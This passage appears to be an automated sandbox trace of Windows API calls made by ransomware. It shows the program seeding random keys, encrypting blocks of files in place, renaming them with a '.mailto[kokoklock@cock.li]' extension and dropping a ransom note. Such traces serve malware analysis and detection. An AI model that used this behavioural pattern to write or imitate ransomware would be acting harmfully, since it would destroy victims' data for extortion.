(HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431040) returned 1 [0077.876] RtlExitUserThread (Status=0x0) Thread: id = 837 os_tid = 0x1418 [0077.047] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm")) returned 0x20 [0077.047] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x20) returned 1 [0077.047] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.048] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x1f03fb3c | out: lpFileSize=0x1f03fb3c*=626) returned 1 [0077.048] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.048] ReadFile (in: hFile=0x904, lpBuffer=0x1f03fb10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x1f03fb10*, lpNumberOfBytesRead=0x1f03fb0c*=0x4, lpOverlapped=0x0) returned 1 [0077.049] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.049] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492938 [0077.049] NtQuerySystemTime (in: CurrentTime=0x1f03fae8 | out: CurrentTime=0x1f03fae8*=132121176349408907) returned 0x0 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x1f924f87 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x17e50a3 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xd365daf0 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xc6d09e16 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xd7e980d5 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x20f08fdc [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x8322a832 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xac83c82 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xddc04f43 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x2c3354b4 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x663118e9 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x2b6ec51d [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x42c275e9 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x2fa626c9 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x3f9fc5d7 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xacf1d368 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x6b3796cb [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x675520dc [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xd9bad63a [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xb8331268 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xab1d26d [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x54b1e745 [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x753b599b [0077.049] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x4debf8d4 [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x88fa80a6 [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x600f519e [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x9fe2750d [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xe72b181a [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x8d7715e4 [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x59d49873 [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0x72a051ff [0077.050] RtlRandom (in: Seed=0x1f03faf4 | out: Seed=0x1f03faf4) returned 0xebe633b8 [0077.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.060] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a28 [0077.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492a28) returned 1 [0077.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.061] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x1f03fae8, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f03fae8*=0x272, lpOverlapped=0x0) returned 1 [0077.061] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f03fab0 | out: lpNewFilePointer=0x0) returned 1 [0077.061] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x1f03fae4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f03fae4*=0x272, lpOverlapped=0x0) returned 1 [0077.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a28 [0077.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.061] WriteFile (in: hFile=0x904, lpBuffer=0x3492a28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f03fae0, lpOverlapped=0x0 | out: lpBuffer=0x3492a28*, lpNumberOfBytesWritten=0x1f03fae0*=0x20, lpOverlapped=0x0) returned 1 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492a28) returned 1 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.061] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.061] WriteFile (in: hFile=0x904, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f03fb0c*=0x8, lpOverlapped=0x0) returned 1 [0077.061] WriteFile (in: hFile=0x904, lpBuffer=0x1f03fb24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x1f03fb24*, lpNumberOfBytesWritten=0x1f03fb0c*=0x4, lpOverlapped=0x0) returned 1 [0077.061] WriteFile (in: hFile=0x904, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f03fb0c*=0x4, lpOverlapped=0x0) returned 1 [0077.062] WriteFile (in: hFile=0x904, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f03fb0c*=0x6c, lpOverlapped=0x0) returned 1 [0077.062] WriteFile (in: hFile=0x904, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f03fb0c*=0x20, lpOverlapped=0x0) returned 1 [0077.062] WriteFile (in: hFile=0x904, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f03fb0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f03fb0c*=0x4, lpOverlapped=0x0) returned 1 [0077.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.062] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.063] CloseHandle (hObject=0x904) returned 1 [0077.063] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x33fc9c8 [0077.063] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" [0077.063] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0077.063] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.065] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0077.065] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0077.065] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x20) returned 0 [0077.065] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430a40 [0077.065] wcscpy (in: _Dest=0x3430a40, _Source="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0077.065] wcscat (in: _Dest=0x3430a40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt" [0077.065] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\d0e731-readme.txt")) returned 0xffffffff [0077.065] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.066] WriteFile (in: hFile=0x904, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1f03fb08, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1f03fb08*=0x481, lpOverlapped=0x0) returned 1 [0077.067] CloseHandle (hObject=0x904) returned 1 [0077.067] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430a40) returned 1 [0077.067] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0d80) returned 1 [0077.067] RtlExitUserThread (Status=0x1) Thread: id = 838 os_tid = 0x141c [0077.069] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe")) returned 0x20 [0077.069] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", dwFileAttributes=0x20) returned 1 [0077.070] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x904 [0077.070] GetFileSizeEx (in: hFile=0x904, lpFileSize=0x1f0bfb9c | out: lpFileSize=0x1f0bfb9c*=455720) returned 1 [0077.070] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x6f424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.070] ReadFile (in: hFile=0x904, lpBuffer=0x1f0bfb70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x1f0bfb70*, lpNumberOfBytesRead=0x1f0bfb6c*=0x4, lpOverlapped=0x0) returned 1 [0077.074] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.075] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492960 [0077.075] NtQuerySystemTime (in: CurrentTime=0x1f0bfb48 | out: CurrentTime=0x1f0bfb48*=132121176349721171) returned 0x0 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xf9ab9d31 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x580312a2 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x88ecd3a [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x5a473c5c [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x68ee4a52 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x7ebe6cd5 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xa2991ed8 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xc9c0f717 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x6976e186 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x9aa42977 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x878121b7 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xbe9432e9 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xe503e0f8 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x8d6b20ea [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xa1f6455a [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x762bcaa2 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x85ee108f [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x75ad9b39 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x912a85e5 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xfbba0404 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xc9e7a027 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x9653ae9a [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x96cd67f [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x400b414e [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xb1e4184c [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xfc4927ee [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0xce55b540 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x66854f6 [0077.075] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x216e1b10 [0077.076] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x8ac2891d [0077.076] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x23f43cb2 [0077.076] RtlRandom (in: Seed=0x1f0bfb54 | out: Seed=0x1f0bfb54) returned 0x729fd347 [0077.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.086] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.087] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.088] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a28 [0077.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492a28) returned 1 [0077.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a28 [0077.089] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.089] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.089] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.089] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x38834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.089] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.090] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x38834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd598 [0077.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34798f8 [0077.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492be0 [0077.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492be0) returned 1 [0077.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a50 [0077.091] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492be0 [0077.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492be0) returned 1 [0077.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0077.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd598) returned 1 [0077.091] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.091] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x6b392, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.091] ReadFile (in: hFile=0x904, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.092] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x6b392, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0077.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c80 [0077.092] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c80) returned 1 [0077.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492a78 [0077.093] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34929d8 [0077.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34929d8) returned 1 [0077.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1f0bfb08, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f0bfb08*=0x4096, lpOverlapped=0x0) returned 1 [0077.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x3492a28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f0bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3492a28*, lpNumberOfBytesWritten=0x1f0bfb64*=0x20, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x3492a50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f0bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3492a50*, lpNumberOfBytesWritten=0x1f0bfb64*=0x20, lpOverlapped=0x0) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x3492a78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f0bfb64, lpOverlapped=0x0 | out: lpBuffer=0x3492a78*, lpNumberOfBytesWritten=0x1f0bfb64*=0x20, lpOverlapped=0x0) returned 1 [0077.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.093] WriteFile (in: hFile=0x904, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f0bfb6c, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, 